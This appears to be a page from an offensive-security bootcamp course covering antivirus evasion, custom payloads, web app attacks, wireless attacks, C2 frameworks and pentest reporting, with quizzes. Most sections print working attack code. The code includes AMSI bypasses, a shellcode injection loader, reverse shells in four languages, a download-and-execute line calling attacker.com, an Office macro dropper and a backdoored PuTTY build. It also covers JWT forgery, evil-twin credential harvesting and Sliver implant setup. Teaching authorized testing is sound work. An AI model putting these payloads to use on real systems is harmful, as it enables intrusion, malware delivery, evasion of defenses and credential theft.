WEEK 6 · RED TEAM · AV EVASION · C2 · WIRELESS
// phase 3 — advanced offensive security → week 6 of 6 → bootcamp final

Operate
like a
ghost.

The final week. AV evasion to survive modern defenses, C2 framework infrastructure, custom payload development, wireless attack chains, purple team methodology, and a professional pentest report. Then — the full 2-month retrospective and your path forward.

AV Evasion AMSI Bypass Sliver C2 Custom Payloads Wireless Attacks Purple Team Report Writing 2-Month Capstone
WEEK 6 — DAILY OUTLINE PHASE 3 · DAYS 36–42 · FINAL WEEK
DAY TOPIC WHAT YOU'LL LEARN KEY TOOLS
Day 36 Antivirus Evasion The 5-layer AV detection stack (signatures → heuristics → AMSI → behavioral → ML) with a bypass technique for each layer. AMSI bypass: memory patching amsi.dll, string concatenation, PowerShell v2 downgrade, Invoke-Obfuscation. Process injection: VirtualAllocEx + WriteProcessMemory + CreateRemoteThread pattern. Msfvenom encoding and embedding payloads inside legitimate executables. Never upload test payloads to VirusTotal. msfvenom, Invoke-Obfuscation, Evil-WinRM Bypass-4MSI
Day 37 Custom Payload Development Why custom payloads evade AV — no signatures for novel code. Build reverse shells from scratch in Python (socket + subprocess), PowerShell one-liner, Bash /dev/tcp, and C# (TcpClient). Two-stage dropper pattern: small clean stager downloads full payload in memory over HTTPS. Set up your own HTTPS payload server with self-signed cert. HTA and Office macro dropper concepts. ExecutionPolicy bypass without admin rights via -EncodedCommand. Python, C#, msfvenom, openssl, netcat
Day 38 Advanced Web App Security JWT attack chain: decode structure, alg:none bypass, weak secret cracking with Hashcat mode 16500, RS256→HS256 algorithm confusion, JWK header injection. GraphQL: introspection to dump full schema, querying hidden sensitive fields (SSN, credit cards), batch query attack to bypass rate limiting, clairvoyance for schema recovery without introspection. Race conditions: check-then-act timing flaws exploited with Burp Turbo Intruder — coupon reuse, double-spend bank transfers, OTP reuse. Burp Suite, Turbo Intruder, hashcat, jwt_tool, graphw00f
Day 39 Wireless Security Full WPA2 attack chain in 6 steps: monitor mode → network survey → targeted capture → deauthentication attack to force handshake → offline crack with Hashcat mode 22000. PMKID attack — capture crackable material directly from AP beacon without waiting for any client. Evil twin attack: rogue AP with identical SSID, hostapd + dnsmasq setup, captive portal credential harvesting, SSLstrip for non-HSTS sites. Automated evil twin with Wifiphisher. Hardware requirements (Alfa adapter). aircrack-ng suite, hashcat, hcxdumptool, Wifiphisher, hostapd
Day 40 C2 Frameworks Why Meterpreter is insufficient for mature environments. Five C2 frameworks compared: Sliver (free, Go, mTLS), Havoc (free, GUI, EDR evasion), Cobalt Strike (commercial gold standard), Empire/Starkiller (PowerShell focus), Covenant/Brute Ratel. Full Sliver walkthrough: install server, start HTTPS listener, generate implant, receive session, key commands (shell, migrate, upload, execute-assembly). OPSEC: sleep jitter to break beacon detection patterns, malleable profiles to blend into normal traffic. Sliver, Havoc, Empire, CobaltStrike (concept)
Day 41 Professional Report Writing The 8-section report structure (cover → executive summary → scope → risk dashboard → findings → attack narrative → remediation roadmap → appendices). Writing for two audiences: non-technical executives and technical staff simultaneously. Individual finding template with CVSS scoring, evidence screenshots, business impact, and tiered remediation steps — demonstrated with a complete SQL injection finding example. Real-time evidence collection discipline. Note-taking tools: Obsidian, CherryTree, Ghostwriter, script terminal logging. How to respond to client pushback on attack chain realism. Obsidian, CherryTree, Ghostwriter, PlexTrac
Day 42 2-Month Capstone & Path Forward Complete 2-month skill map across all 4 phases. 8 certification roadmap with difficulty ratings: Security+ and eJPT (entry), PNPT and CEH (intermediate), OSCP and BTL1 (advanced), CRTO, OSEP/OSED/OSWE (elite). 5-stage career timeline: months 1–3 lab consolidation, months 3–5 eJPT→PNPT, months 5–9 bug bounty + OSCP prep, months 9–12 OSCP + first job, year 2+ specialization. Three capstone lab tracks: full AD compromise simulation with MITRE ATT&CK mapping, purple team exercise (attack → build detection), HackTheBox Pro Labs or PNPT prep. Communities, staying-current resources, and practice platforms. HackTheBox, TryHackMe, PortSwigger Academy, VulnHub
36

Antivirus Evasion

THEORYLAB Shellcode Encoding · Process Injection · AMSI Bypass · Obfuscation

WEEK 6 PROGRESS — DAY 36 OF 42
👻

Your best exploit is useless if Windows Defender deletes it in 2 seconds. Modern AV products use static signature detection, heuristic analysis, behavioral monitoring, and machine learning. AV evasion is the art of making malicious code look benign to each of these layers. A red teamer who can't evade AV is limited to undefended environments — which don't exist in real engagements.

// 36.1 — THE AV DETECTION STACK
5
ML / Cloud
Behavioral telemetry sent to cloud AI — detects novel threats. Bypass: slow staging, legitimate-looking behavior patterns. Hardest
4
Behavioral / EDR
Monitors process creation, API calls, network connections. Bypass: process hollowing, parent PID spoofing, sleep obfuscation. Hard
3
AMSI (Script)
Scans PowerShell/VBScript before execution. Bypass: patch amsi.dll in memory, string obfuscation, concatenation. Medium
2
Heuristic Analysis
Looks for suspicious patterns: VirtualAlloc + WriteProcessMemory + CreateThread = shellcode loader. Bypass: indirect syscalls, API unhooking. Medium
1
Static Signatures
Hash-based and string-based matching against known malware patterns. Bypass: encoding, encryption, custom compilers, string obfuscation. Easiest
// 36.2 — AMSI BYPASS (ANTIMALWARE SCAN INTERFACE)
WHAT AMSI IS

AMSI (Antimalware Scan Interface) is a Windows API that intercepts PowerShell scripts, VBScript, and other scripting engine content before execution, passing it to the AV engine. Even fileless attacks that never touch disk are scanned. Bypassing AMSI means your PowerShell payloads run undetected.

AMSI BYPASS TECHNIQUES
# ── TECHNIQUE 1: Memory Patching (patch amsi.dll to return 0) ── # Overwrites AmsiScanBuffer function in memory to always return "clean" # Classic bypass — detections vary, often still works on unpatched systems PS> $a=[Ref].Assembly.GetTypes();foreach($b in $a){if($b.Name -like "*iUtils"){$c=$b}};$d=$c.GetFields('NonPublic,Static');foreach($e in $d){if($e.Name -like "*Context"){$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1) # Obfuscated version of the amsiContext nullification bypass # ── TECHNIQUE 2: String Concatenation (bypasses static AMSI scans) ── $am = 'Am'+'siUtils' # "AmsiUtils" as a string triggers AMSI detection $sc = 'Scan'+'Buffer' # Breaking strings defeats signature matching # Concatenated strings are not matched by simple pattern search at scan time # ── TECHNIQUE 3: PowerShell Downgrade Attack ────────────────── PS> powershell -version 2 -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" # PowerShell v2 doesn't support AMSI — if v2 is installed, it bypasses entirely # Windows 10/11 and hardened systems have v2 removed — check first # ── TECHNIQUE 4: Invoke-Obfuscation (automated obfuscator) ─── PS> Import-Module Invoke-Obfuscation PS> Invoke-Obfuscation OBFUSCATION TYPE: TOKEN # Randomizes variable names, adds junk, encodes SOURCE: /path/to/payload.ps1 # Output: heavily obfuscated script that passes AMSI but executes identically # ── Evil-WinRM built-in bypass ──────────────────────────────── *Evil-WinRM* Bypass-4MSI # One command — patches AMSI in the current session [+] Patched!
// 36.3 — PROCESS INJECTION
HIDING IN LEGITIMATE PROCESSES

Process injection writes shellcode into a legitimate, trusted process (explorer.exe, svchost.exe, notepad.exe) and executes it there. The AV sees legitimate processes doing suspicious things — much harder to detect than a standalone malicious executable. The memory never touches disk.

PROCESS INJECTION — CLASSIC SHELLCODE LOADER (C)
/* Classic VirtualAlloc + WriteProcessMemory + CreateRemoteThread injection This is the conceptual pattern — real engagements use more sophisticated techniques */ #include <windows.h> // msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f c unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8..."; int main() { HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, // Target PID — find explorer.exe: tasklist | findstr explorer 4892); // Explorer.exe PID // Allocate RWX memory in remote process LPVOID mem = VirtualAllocEx(hProc, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Write shellcode into remote process memory WriteProcessMemory(hProc, mem, shellcode, sizeof(shellcode), NULL); // Create a thread in the remote process to execute shellcode CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL); return 0; } # EDR detection: VirtualAllocEx with PAGE_EXECUTE_READWRITE is very suspicious # Modern bypass: RX memory first (write shellcode), then change to RX via VirtualProtect # Even better: use indirect syscalls to avoid hooking detection entirely # ── Meterpreter migration (practical version) ──────────────── meterpreter> ps # Find stable SYSTEM process 4892 explorer.exe x64 1 CORP\john.smith C:\Windows\explorer.exe meterpreter> migrate 4892 [+] Successfully migrated to process 4892 # Now hiding in explorer.exe
// 36.4 — MSFVENOM PAYLOAD ENCODING
MSFVENOM — EVASION-FOCUSED PAYLOAD GENERATION
# Basic payload (gets caught immediately): $ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f exe -o shell.exe # Encoded payload (helps with static signatures): $ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444 \ -e x64/zutto_dekiru -i 10 \ # encoder, 10 iterations -f exe -o encoded_shell.exe # Embed in a legitimate executable (template substitution): $ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444 \ -x /usr/share/windows-resources/putty.exe \ # inject into PuTTY -k \ # keep original functionality -f exe -o putty_backdoored.exe # Victim runs PuTTY normally — also gives you a shell # PowerShell payload (fileless — never touches disk): $ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444 \ -f psh-reflection -o shell.ps1 C:\> powershell -ExecutionPolicy Bypass -File shell.ps1 # Check detection rate BEFORE delivery (VirusTotal alternative): $ ln -s /usr/bin/python3 /usr/local/bin/python $ pip install avred $ avred shell.exe # checks against multiple AV without uploading to VirusTotal # Never upload actual pentest payloads to VirusTotal — vendors add to signatures
// DAY 36 — QUIZ
Windows Defender catches your Meterpreter EXE immediately on disk. You switch to a PowerShell-based fileless payload, but AMSI catches that too. What is your next escalation in the evasion chain?
A Encode the EXE payload more iterations with shikata_ga_nai to bypass Defender
B Bypass AMSI first in memory, then deliver a staged payload that injects shellcode into a trusted process like explorer.exe — never running your own process
C Disable Windows Defender via registry before delivering your payload
D Use a smaller, simpler payload — Defender triggers on payload size
37

Custom Payload Development

TOOLLAB msfvenom Advanced · Python/C# Reverse Shells · Staged Delivery · Droppers

WEEK 6 PROGRESS — DAY 37 OF 42
🔧

Custom payloads evade AV because they have no signatures. Every msfvenom output with default settings is known to AV vendors. When you write your own reverse shell from scratch — even in Python or C# — AV has no signature for it. Understanding how reverse shells work at the socket level means you can write one in any language, customize it for any environment, and adapt when defenses block you.

// 37.1 — REVERSE SHELL ANATOMY
CUSTOM REVERSE SHELLS FROM SCRATCH
# ── PYTHON REVERSE SHELL (cross-platform) ──────────────────── import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.56.100", 4444)) # attacker IP and port # Redirect stdin/stdout/stderr to the socket os.dup2(s.fileno(), 0) # stdin os.dup2(s.fileno(), 1) # stdout os.dup2(s.fileno(), 2) # stderr # Launch interactive shell subprocess.call(["/bin/bash", "-i"]) # Run on target: python3 shell.py # On Kali: nc -lvnp 4444 ← receives the connection # ── POWERSHELL ONE-LINER (Windows, fileless) ────────────────── $c=New-Object Net.Sockets.TCPClient("192.168.56.100",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+"PS "+(pwd).Path+"> ";$r=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($r,0,$r.Length)} # ── BASH ONE-LINER (Linux target) ──────────────────────────── bash -i >& /dev/tcp/192.168.56.100/4444 0>&1 # /dev/tcp is a bash feature — redirects I/O to a TCP socket # ── C# REVERSE SHELL (compiles to EXE, unique signature) ───── using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Text; using System.Diagnostics; class Shell { static void Main() { var client = new TcpClient("192.168.56.100", 4444); var stream = client.GetStream(); var buf = new byte[4096]; while (true) { int n = stream.Read(buf, 0, buf.Length); var cmd = Encoding.ASCII.GetString(buf, 0, n).Trim(); var p = Process.Start(new ProcessStartInfo("cmd.exe","/c "+cmd){ RedirectStandardOutput=true, UseShellExecute=false }); var out_ = p.StandardOutput.ReadToEnd(); var resp = Encoding.ASCII.GetBytes(out_); stream.Write(resp, 0, resp.Length); } } } # Compile: mcs -out:shell.exe shell.cs (on Kali with Mono) # Or on Windows: csc.exe shell.cs
// 37.2 — STAGED DELIVERY WITH DROPPER
DROPPER PATTERN — TWO-STAGE DELIVERY
# Stage 1: Tiny "dropper" — barely any code, no malicious signatures # Downloads and executes the actual payload in memory # PowerShell dropper (sent in phishing email / macro): IEX(New-Object Net.WebClient).DownloadString("https://192.168.56.100/stage2.ps1") # Dropper itself has no malicious content — just a download and execute # AV sees: download a string and execute it — suspicious but not flagged if AMSI bypassed # Stage 2: Full payload served from your HTTPS server (stays in memory) # ── Set up your payload server ──────────────────────────────── kali$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=updates.microsoft.com" kali$ python3 -c " import http.server, ssl httpd = http.server.HTTPServer(('0.0.0.0', 443), http.server.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile='key.pem', certfile='cert.pem', server_side=True) httpd.serve_forever()" # HTTPS server with self-signed cert — traffic is encrypted, content not inspectable by network AV # ── HTA dropper (HTML Application — opens via browser/email) ── kali$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.56.100 LPORT=443 -f hta-psh -o update.hta # Victim double-clicks update.hta → runs as script → HTTPS meterpreter session # ── Macro dropper concept (Word/Excel) ─────────────────────── # Office macro VBA: Sub AutoOpen() Dim x As String x = "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('https://192.168.56.100/payload.ps1')" Shell x End Sub
// DAY 37 — QUIZ
You need to deliver a payload to a target machine where PowerShell execution policy is set to Restricted (no scripts allowed), AMSI is active, and outbound traffic on unusual ports is blocked. Only ports 80 and 443 outbound are open. What delivery approach do you use?
A Run Set-ExecutionPolicy Bypass first, then execute your script normally
B Use a standard msfvenom EXE with reverse_tcp on port 4444
C Use -ExecutionPolicy Bypass flag (no admin needed), HTTPS Meterpreter on port 443, and encode the dropper command in Base64 to avoid inline AMSI scanning
D Send a phishing email with a macro attachment — it bypasses all restrictions
38

Advanced Web App Security

THEORYLAB JWT Attacks · OAuth Abuse · GraphQL · API Security · Race Conditions

WEEK 6 PROGRESS — DAY 38 OF 42
🔑

Modern web apps have moved beyond OWASP Top 10 basics. JWT tokens, OAuth flows, GraphQL introspection, REST API versioning flaws, and race conditions are the frontier of web security. These appear in almost every modern SaaS product, mobile app backend, and microservices architecture — and they're where the big bug bounty payouts live.

// 38.1 — JWT ATTACKS
JWT VULNERABILITIES — ANALYSIS AND EXPLOITATION
# JWT structure: header.payload.signature (base64url encoded, dot-separated) # Decode any JWT at jwt.io or: $ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d {"alg":"HS256","typ":"JWT"} $ echo "eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ" | base64 -d {"sub":"user123","role":"user"} # ── ATTACK 1: Algorithm = "none" (no signature verification) ── # Change alg to "none", set role to "admin", remove signature Header: {"alg":"none","typ":"JWT"} Payload: {"sub":"user123","role":"admin"} Signature: (empty) # Token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6ImFkbWluIn0. # If server accepts alg:none → no signature checked → admin access! # ── ATTACK 2: Weak secret brute-force ───────────────────────── $ hashcat -m 16500 jwt_token.txt rockyou.txt # Hashcat mode 16500 = JWT cracking # If secret is "secret", "password", or weak → you can forge any token # Cracked: eyJ... → secret: "supersecret123" # Now forge: {"sub":"admin","role":"admin"} signed with same secret # ── ATTACK 3: RS256 to HS256 algorithm confusion ────────────── # Server uses RS256 (RSA) and publishes its public key at /jwks.json # Trick: switch alg to HS256, sign with the PUBLIC KEY as HMAC secret # Server verifies HS256 using its public key → accepts your forged token! $ python3 jwt_confusion.py --jwt "[token]" --pubkey public.pem --claim role=admin # ── ATTACK 4: JWK header injection ──────────────────────────── # Add "jwk" parameter to JWT header with YOUR OWN public key # Sign the token with your private key # Vulnerable servers use the embedded key to verify → you verified yourself!
// 38.2 — GRAPHQL SECURITY TESTING
GRAPHQL ENUMERATION AND ATTACK
# GraphQL uses a single endpoint — POST /graphql or /api/graphql # Introspection query reveals the entire schema (often enabled in production!) $ curl -X POST http://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name fields{name}}}}"}' # Returns ALL types and fields in the GraphQL schema: # → User type: id, email, password, creditCard, ssn, adminNotes # → Mutation: deleteUser, promoteToAdmin, resetPassword # Fields not shown in UI but exposed in schema = IDOR targets # ── Query hidden fields ──────────────────────────────────────── $ curl -X POST http://target.com/graphql -H "Content-Type: application/json" \ -d '{"query":"query{user(id:1){id email password ssn creditCard}}"}' {"data":{"user":{"id":1,"email":"admin@corp.com","password":"$2b$12$...","ssn":"123-45-6789","creditCard":"4111111111111111"}}} # ── Batch query attack (bypass rate limiting) ───────────────── [{"query":"mutation{login(email:\"admin@corp.com\",password:\"password1\")}"}, {"query":"mutation{login(email:\"admin@corp.com\",password:\"password2\")}"}, ...999 more passwords in same request] # GraphQL batching: 1000 login attempts = 1 HTTP request → bypasses per-request rate limits # ── Tool: graphw00f (GraphQL fingerprinting) ────────────────── $ graphw00f -d -t http://target.com/graphql # ── Tool: clairvoyance (schema recovery even with introspection disabled) ── $ clairvoyance http://target.com/graphql -w wordlist.txt -o schema.json
// 38.3 — RACE CONDITIONS
EXPLOITING TIMING FLAWS

Race conditions occur when an application performs a check-then-act operation that isn't atomic. Between the check (is this coupon valid?) and the act (apply discount), another request can sneak through. Send 50 simultaneous requests to use a single-use coupon 50 times. Burp Suite's Turbo Intruder is purpose-built for this.

RACE CONDITION — BURP TURBO INTRUDER
# Classic scenario: single-use gift card code, but no atomic DB transaction # Burp Turbo Intruder script for race condition: def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=50, # 50 parallel connections requestsPerConnection=1, pipeline=False) for i in range(50): # Send 50 identical requests engine.queue(target.req, pauseTime=0) def handleResponse(req, interesting): if "discount applied" in req.response: table.add(req) # All 50 requests hit the server simultaneously # Some race past the "already used" check before DB is updated # Coupon applied 50 times → $50 discount used as $2,500 discount # Also test: bank transfers (double-spend), account balance checks, # file upload race (upload+execute before AV scans), OTP reuse
// DAY 38 — QUIZ
You find a JWT token used for API authentication. The header shows {"alg":"HS256"} and the payload shows {"user_id":1042,"role":"user"}. Changing role to admin and sending with a random signature returns 401. What are your next two steps in order?
A Send 1000 requests with different random signatures — brute-force the signature check
B Crack the HMAC secret with Hashcat mode 16500 (rockyou.txt), then if that fails try changing alg to "none" and removing the signature
C Remove the signature section entirely and send the two-part token
D Switch alg to RS256 — the server must have a public key you can exploit
39

Wireless Security

THEORYLAB WPA2 Cracking · Evil Twin · Deauthentication · Captive Portals · Aircrack-ng

WEEK 6 PROGRESS — DAY 39 OF 42
📡

Wireless attacks bridge the physical and digital worlds. A locked server room means nothing if an attacker sitting in the parking lot can join the corporate Wi-Fi. WPA2 cracking, evil twin access points, and PMKID attacks give unauthenticated network access. Requires a wireless adapter supporting monitor mode and packet injection — use an Alfa AWUS036ACH or similar.

// 39.1 — WPA2 ATTACK CHAIN
1
Enable Monitor Mode
Put your wireless adapter into monitor mode — captures all wireless frames, not just those addressed to you. Kill interfering processes first.
airmon-ng check kill && airmon-ng start wlan0
2
Survey Networks
List all visible networks — BSSID (AP MAC), ESSID (network name), channel, encryption type, number of clients. Target networks with connected clients.
airodump-ng wlan0mon
3
Target and Capture
Lock onto your target network and capture all its packets. Wait for a 4-way WPA2 handshake (when a client connects) — the handshake contains the crackable material.
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
4
Deauthentication Attack
Force a connected client to disconnect — they reconnect automatically, triggering a new handshake you capture. Faster than waiting organically.
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon
5
Crack the Handshake
The WPA2 handshake is a PBKDF2-HMAC-SHA1 hash of the passphrase. Offline dictionary attack — fast with GPU. Crack with Hashcat mode 22000 or aircrack-ng.
hashcat -m 22000 capture.hc22000 rockyou.txt -r OneRuleToRuleThemAll.rule
6
PMKID Attack (no client needed)
Modern alternative — extract the PMKID directly from the AP beacon without waiting for a client handshake. Works on most modern routers.
hcxdumptool -i wlan0mon -o capture.pcapng && hcxpcapngtool capture.pcapng -o hash.hc22000
// 39.2 — EVIL TWIN ATTACK
EVIL TWIN — ROGUE ACCESS POINT WITH CAPTIVE PORTAL
# Evil Twin: create a fake AP with same SSID as target network # Force clients off real AP (deauth), they connect to your AP instead # Your AP: internet access via your 4G → victims work normally # But all traffic flows through you → MITM the entire network # ── Step 1: Create AP with hostapd ──────────────────────────── # /etc/hostapd/hostapd.conf: interface=wlan0mon ssid=CorporateWiFi # Exact same SSID as target hw_mode=g channel=6 wpa=0 # Open network — no password (clients connect automatically) # hostapd /etc/hostapd/hostapd.conf & # ── Step 2: DHCP server for clients ────────────────────────── # dnsmasq --interface=wlan0mon --dhcp-range=192.168.2.10,192.168.2.50 --dhcp-option=3,192.168.2.1 # ── Step 3: Captive portal (credential harvesting) ──────────── # Serve a fake login page at your gateway IP # Looks identical to corporate SSO login # Victim enters credentials → you capture them → redirect to real site # iptables -t nat -A PREROUTING -i wlan0mon -p tcp --dport 80 -j DNAT --to-destination 192.168.2.1:80 # ── Step 4: Intercept HTTPS (SSLStrip if HSTS not set) ──────── # bettercap -iface wlan0mon -eval "net.probe on; arp.spoof on; net.sniff on" # ── Automated: Wifiphisher (all-in-one evil twin tool) ──────── kali$ sudo wifiphisher -aI wlan0 -jI wlan1 --phishing-pages firmware-upgrade # wlan0 = deauth + jamming, wlan1 = evil twin AP # "firmware-upgrade" = presents fake router firmware update page # Victim enters WiFi password to "update firmware" → you capture it
// DAY 39 — QUIZ
You run a deauthentication attack against a WPA2 network but airodump-ng doesn't capture a handshake. The BSSID shows active clients. What are the two most likely causes and how do you address each?
A The network uses WPA3 which doesn't have a crackable handshake
B Wrong channel specified (adapter scanning different channel than AP) or deauth packets not reaching clients (distance/PMF protection) — fix with -c flag and test injection first
C WPA2 Enterprise can\'t be captured — it requires a RADIUS server that blocks handshakes
D You need to run aircrack-ng simultaneously — airodump alone can\'t capture handshakes
40

C2 Frameworks

TOOLLAB Sliver · Havoc · Empire · C2 Infrastructure · Listener Setup

WEEK 6 PROGRESS — DAY 40 OF 42
🕸️

C2 frameworks replace Metasploit's Meterpreter for professional red team engagements. Modern enterprise defenses flag Meterpreter signatures. Real red teams use custom or less-known C2 frameworks with encrypted, authenticated communication channels that blend into normal HTTPS traffic. Sliver (BishopFox) and Havoc are free and actively maintained.

// 40.1 — C2 FRAMEWORK COMPARISON
Sliver
BishopFox · Open Source · Go
Modern, actively maintained, designed to replace Cobalt Strike in red team toolkits. mTLS, HTTP/S, DNS, WireGuard C2 channels. Multiplayer team server.
Best free option for learning. Generate implants in seconds. Built-in BOF support. Start here.
Havoc
Open Source · C/C++ · GUI
Post-exploitation framework with GUI reminiscent of Cobalt Strike. Daemon architecture, sleep obfuscation, process injection, BOF execution.
Strong EDR evasion features. Active development. Good Cobalt Strike alternative for learning enterprise-grade C2.
Cobalt Strike
Commercial · $5,900/yr · Java
The industry standard used by APT groups and red teams alike. Beacons, Malleable C2 profiles, BOF, OPSEC-safe post-exploitation. Your goal to learn eventually.
Required skill for senior red team roles. Trial available. Cracked versions used by real APTs — understand both sides.
Empire / Starkiller
Open Source · Python/PowerShell
PowerShell and Python agents. HTTP/S, SMTP, Dropbox C2 channels. Extensive module library for post-exploitation and AD attacks.
Great for PowerShell-focused engagements. Pre-built AD attack modules. Well-documented for learning.
Covenant / Brute Ratel
C# / Commercial
Covenant: free C# .NET framework, good for Windows environments. Brute Ratel C4: commercial, $2,500/yr — specifically designed to evade modern EDR.
Covenant good for learning C# tradecraft. BRC4 is what advanced red teams use for hardened Windows environments.
// 40.2 — SLIVER C2: SETUP AND OPERATION
SLIVER C2 — INSTALLATION, LISTENER, IMPLANT, OPERATION
# ── INSTALL SLIVER SERVER ───────────────────────────────────── kali$ curl https://sliver.sh/install | sudo bash kali$ sudo systemctl start sliver kali$ sliver ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███ ▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒ ░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒ ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄ ▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒ sliver > # ── START HTTPS LISTENER ────────────────────────────────────── sliver > https --lhost 192.168.56.100 --lport 443 [*] Starting HTTPS :443 listener ... # ── GENERATE IMPLANT (BEACON) ───────────────────────────────── sliver > generate --mtls 192.168.56.100 --os windows --arch amd64 --format exe --save /tmp/implant.exe # Options: --os windows/linux/macos --format exe/shared/shellcode/service # --sleep 30 --jitter 10 = beacon every 30s ±10s (more realistic, less noisy) # ── EXECUTE ON TARGET, RECEIVE SESSION ─────────────────────── [*] Session 4b3a8c12 WISE_BADGER - 192.168.56.101:51234 (WIN-TARGET) - windows/amd64 sliver > sessions ID Name Transport Remote Address OS/Arch Last Message 4b3a8c12 WISE_BADGER mtls 192.168.56.101 windows/amd64 3s sliver > use 4b3a8c12 sliver (WISE_BADGER) > whoami CORP\Administrator # ── KEY SLIVER COMMANDS ─────────────────────────────────────── sliver (WISE_BADGER) > shell # Interactive shell sliver (WISE_BADGER) > ps # List processes sliver (WISE_BADGER) > migrate --pid 4892 # Process migration sliver (WISE_BADGER) > upload /opt/winpeas.exe C:\\Temp\\wp.exe sliver (WISE_BADGER) > execute-assembly /opt/Rubeus.exe "kerberoast /outfile:hashes.txt" # execute-assembly: run .NET assemblies in memory — never touches disk
// DAY 40 — QUIZ
Your Sliver HTTPS beacon is communicating fine but the SOC detects it based on network traffic patterns — beaconing every exactly 30 seconds creates a suspicious regular pattern. How do you fix this without losing your session?
A Switch to DNS C2 immediately — HTTPS beaconing is always detectable
B Set jitter on the active session (sleep 60 --jitter 30) to randomize beacon intervals without losing the session
C Increase beacon frequency to every 5 seconds — faster beacons are harder for IDS to correlate
D Kill the implant and wait for the SOC to stop watching, then redeploy
41

Professional Report Writing

THEORY Executive Summary · Technical Detail · CVSS · Remediation · Deliverables

WEEK 6 PROGRESS — DAY 41 OF 42
📋

The report is the product. A client pays for your findings in written form — the exploitation itself is just the research. A flawless pentest with a poor report pays nothing and helps nobody. A clearly written report that turns complex findings into actionable business decisions is what separates a $50/hour contractor from a $200/hour consultant. Learn to write both the executive view and the technical depth.

// 41.1 — REPORT STRUCTURE
1. Cover Page
Client name, engagement type (Internal PT / Web App / Red Team), date range, classification (CONFIDENTIAL), version, author, reviewer. Keep professional — this is a legal document.
2. Executive Summary
1–2 pages for non-technical executives. What was tested, what was found in plain English, overall risk posture, top 3 priorities. No technical jargon. CEO must understand this without the appendix.
3. Scope & Methodology
Exact IP ranges, domains, dates tested, tools used, team members, rules of engagement, what was excluded and why. This is your legal protection — defines what you were authorized to do.
4. Risk Rating Summary
Dashboard table: Critical (N), High (N), Medium (N), Low (N), Informational (N). Trend if retesting. Pie chart optional. Executives scan this first.
5. Findings (main body)
One section per finding. Ordered by severity. Each finding: Title, Severity (CVSS), Affected Asset, Description, Evidence (screenshots + commands), Business Impact, Remediation Steps.
6. Attack Narrative
Story of how you moved through the environment. "We started at X, found Y, used it to reach Z." Tells the story from attacker's perspective. Makes the risk concrete and real to technical staff.
7. Remediation Roadmap
Prioritized fix list with timelines: Critical (24-72 hours), High (30 days), Medium (90 days), Low (next cycle). Include effort estimates. Gives them an actionable plan, not just problems.
8. Appendices
Full tool output, raw scan data, proof-of-concept code, detailed exploit steps. Technical staff use this for reproduction and verification. Keep this separate so it doesn't overwhelm the main report.
// 41.2 — WRITING INDIVIDUAL FINDINGS
FINDING TEMPLATE — SQL INJECTION EXAMPLE
Finding #003: SQL Injection — Authentication Bypass Severity: Critical | CVSS 3.1 Score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Affected Asset: https://crm.corp.com/login (Production CRM System) Description: The login form at https://crm.corp.com/login is vulnerable to SQL injection via the username parameter. User-supplied input is directly concatenated into a SQL query without sanitization or parameterized queries. Evidence: Request sent: POST /login HTTP/1.1 Host: crm.corp.com username=admin'--&password=anything Server response: HTTP/1.1 302 Found → /dashboard (Authenticated as administrator without valid password) Business Impact: An unauthenticated attacker can bypass authentication and access the CRM system as any user including administrators, exposing 127,000 customer records (PII including payment data). This constitutes a GDPR data breach if exploited. Remediation: IMMEDIATE (24 hours): 1. Implement parameterized queries / prepared statements in all database calls 2. Remove or disable the /login endpoint until patched 3. Audit application logs for signs of prior exploitation SHORT-TERM (30 days): 4. Deploy WAF rule to block SQL metacharacters in login fields 5. Conduct code review of all database interaction points 6. Implement least-privilege database accounts (no DROP/ALTER permission) References: CWE-89: Improper Neutralization of Special Elements in SQL Command OWASP Top 10 2021 - A03: Injection CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
